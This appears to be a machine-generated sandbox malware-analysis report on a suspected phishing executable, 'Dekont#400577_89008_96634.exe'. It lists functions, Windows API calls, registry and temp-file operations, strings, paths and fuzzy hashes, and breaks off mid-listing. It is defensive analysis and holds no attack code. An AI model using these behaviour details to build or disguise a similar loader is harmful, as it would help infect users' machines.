Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 2a6702a12d34049f0ed6173726a665453ef4396ebd7eb618d4b77e108423b323
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 720108B1C10219EADF019BA4D948BEFBFB8EF04314F00803AD544B6180D77896488BA9

Function 00406796 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
wsprintfW.USER32 ref: 004067E8
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067FC

Strings

\, xrefs: 004067BE
UXTHEME, xrefs: 0040679F
%s%S.dll, xrefs: 004067E2

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 2cc1ede9ae180511fd9dc47da010e879a2503ad1dada0433f9440106b5f2728e
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: 86F09670510119A7DB24BF64DE4DF9B366CAB00709F11447AA646F21D0EB7C9A68CBA8

Function 00405F36 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F54
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034C3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F), ref: 00405F6F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F3B
nsa, xrefs: 00405F43
"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe", xrefs: 00405F36

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3808273783
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: 6280ba3094977af7574bcd42248b285f756f81412eced5037130b5adcb3d4edb
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: 55F03676B00204BFDB10CF55DD05E9FB7ADEB95750F10803AEE44F7150E6B499548B58

Function 00402E41 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction ID: 81522b48e592499502658fb4677f1b0f70c545d6b701466da39e5ccb8a756ba0
Opcode Fuzzy Hash: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction Fuzzy Hash: 0F215A72500109BBEF129F90CE89EEF7A7DEB54344F110076B945B11A0E7B48E54AAA8

Function 6FDC1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FDC1B5F: GlobalFree.KERNEL32(?), ref: 6FDC1DD4
Part of subcall function 6FDC1B5F: GlobalFree.KERNEL32(?), ref: 6FDC1DD9
Part of subcall function 6FDC1B5F: GlobalFree.KERNEL32(?), ref: 6FDC1DDE

GlobalFree.KERNEL32(00000000), ref: 6FDC1825
FreeLibrary.KERNEL32(?), ref: 6FDC18AB
GlobalFree.KERNEL32(00000000), ref: 6FDC18D0

Part of subcall function 6FDC239E: GlobalAlloc.KERNEL32(00000040,?), ref: 6FDC23CF

Part of subcall function 6FDC2770: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6FDC17F6,00000000), ref: 6FDC2840

Part of subcall function 6FDC15C6: wsprintfW.USER32 ref: 6FDC15F4

Strings

, xrefs: 6FDC18B1

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 5db04add0670ab5618a8eb424e4b8c5dce00990949884c4b3340df9503c3605b
Instruction ID: 767b9a6a1a7f42f6682ff6e81ed8d423c690e0ea562b15e7a1670e20fa200e89
Opcode Fuzzy Hash: 5db04add0670ab5618a8eb424e4b8c5dce00990949884c4b3340df9503c3605b
Instruction Fuzzy Hash: DC41CF71404326EADF819F749884BC637ACBF06329F044166E9559F1C6DBB4B0859BB2

Function 00402482 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp,00000023,00000011,00000002), ref: 004024CD
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp,00000000,00000011,00000002), ref: 0040250D
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp,00000000,00000011,00000002), ref: 004025F5

Strings

C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp, xrefs: 004024BE, 004024CC, 004024E3, 004024F7, 00402502

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp
API String ID: 2655323295-2749404761
Opcode ID: 9e720649662cdc413bd8d4d136e207e08986e5d50d4fc5c41021c63d7149cc75
Instruction ID: 7edbd774ff12736b5c68cca40ff53a8b2e2340a941a441eef078c8e93cf21856
Opcode Fuzzy Hash: 9e720649662cdc413bd8d4d136e207e08986e5d50d4fc5c41021c63d7149cc75
Instruction Fuzzy Hash: 1C11AF71E00108BEDB00AFA5CE49AAEBBB8EF44314F20443AF504B71D1D7B89D409A68

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D91: CharNextW.USER32(?,?,bismers\Phytotomist54.off,?,00405E05,bismers\Phytotomist54.off,bismers\Phytotomist54.off, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405948: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040598B

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\udstrmningsdysernes\eir\Speckly,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\udstrmningsdysernes\eir\Speckly
API String ID: 1892508949-3054700521
Opcode ID: 8bd5528b3ed13611c2729177aa216aa5dfd0a4f92ec19a6671f3c1d709377d7f
Instruction ID: d42e9ae115e382ed64a017e661d14a8570f8e1ce7a364987760287960e16c3b9
Opcode Fuzzy Hash: 8bd5528b3ed13611c2729177aa216aa5dfd0a4f92ec19a6671f3c1d709377d7f
Instruction Fuzzy Hash: B411DD31504110EBCF206FA5CD4199F3BB0EF25369B28493BEA51B22F1DA3E49819A5E

Function 004053ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040541C
CallWindowProcW.USER32(?,?,?,?), ref: 0040546D

Part of subcall function 004043B3: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004043C5

Strings

, xrefs: 004053FD

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 26e100c8e936244900aacf90f380f9ed614629df6b7f9272593e4765ff02ca63
Instruction ID: 5278ea034fccd8c5818adddfb220a11f4cbf18c481ac084eeec191c980f5e464
Opcode Fuzzy Hash: 26e100c8e936244900aacf90f380f9ed614629df6b7f9272593e4765ff02ca63
Instruction Fuzzy Hash: F9012C71200609AFDF216F11DD80BDB3B66EB84756F504036FB01752E2C77A8C92DA6E

Function 004062DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,0042C248,00000000,?,?,Call,?,?,0040656E,80000002), ref: 00406325
RegCloseKey.KERNELBASE(?,?,0040656E,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,0042C248), ref: 00406330

Strings

Call, xrefs: 004062E6

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 844154995e22508991f9c2085a3ddc533437a0a8a5a4e2329c4a16b7f523fd8f
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: CF017172500209EBDF218F55CD05EDB3BA9EB54394F05803AFD5592150E738D964DBA4

Function 004020D0 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 004020FB

Part of subcall function 00405479: lstrlenW.KERNEL32(0042C248,00000000,00425A20,762323A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,0042C248,00000000,00425A20,762323A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,00425A20,762323A0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 0040210C
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,?,000000F0), ref: 00402189

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 78ecc952e10d997ac4934020b2af859247c5bfa8e95875e99b3b14e24fd3f8e7
Instruction ID: ec066b6349dd7fa10fed5d852794e64c7c96c86c32cb5d354c2886168094fa20
Opcode Fuzzy Hash: 78ecc952e10d997ac4934020b2af859247c5bfa8e95875e99b3b14e24fd3f8e7
Instruction Fuzzy Hash: A7219931500104EBCF10AFA5CE49A9E7A71AF44354F34413BF515B51E0CBBD9D829A1D

Function 00402596 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025C9
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025DC
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp,00000000,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: bfb43a58064f35a202510d154baaddbf2c883fb0f83fa026dbde7361418dddc5
Instruction ID: a8e4f27cd85b524b938bc80bb312ff0c07efa3365ef466736b2b8963d993c2c8
Opcode Fuzzy Hash: bfb43a58064f35a202510d154baaddbf2c883fb0f83fa026dbde7361418dddc5
Instruction Fuzzy Hash: 92017C71A11504BBEB149FA49E48AAFB77CEF40348F10403AF501B61C0D7B85E40866D

Function 00402522 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402553
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp,00000000,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: dee3066ffd72378a80549679b72257bdff4fdc3bc5ced5e2bc25f81f6ea14ea6
Instruction ID: af493c066ab36ea8406690c3d62a07c4fb2ed7115def6bf4d18b774961f6c260
Opcode Fuzzy Hash: dee3066ffd72378a80549679b72257bdff4fdc3bc5ced5e2bc25f81f6ea14ea6
Instruction Fuzzy Hash: CD116A71910209EBCF14DFA4CA589AEB774FF04354B20843BE402B62C0D3B88A44DB5E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c5196716ed2294a5b6683282f685902d4e4d655c798d26bf32279206d375a943
Instruction ID: f4b073df4371d13d5e47470e1508f1e4354d1df05d26164fcbedf483487d3525
Opcode Fuzzy Hash: c5196716ed2294a5b6683282f685902d4e4d655c798d26bf32279206d375a943
Instruction Fuzzy Hash: 4D01F4316242209FE7094B389D05B6A3698E710319F14823FF855F65F1EA78DC029B4C

Function 0040242C Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040244E
RegCloseKey.ADVAPI32(00000000), ref: 00402457

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
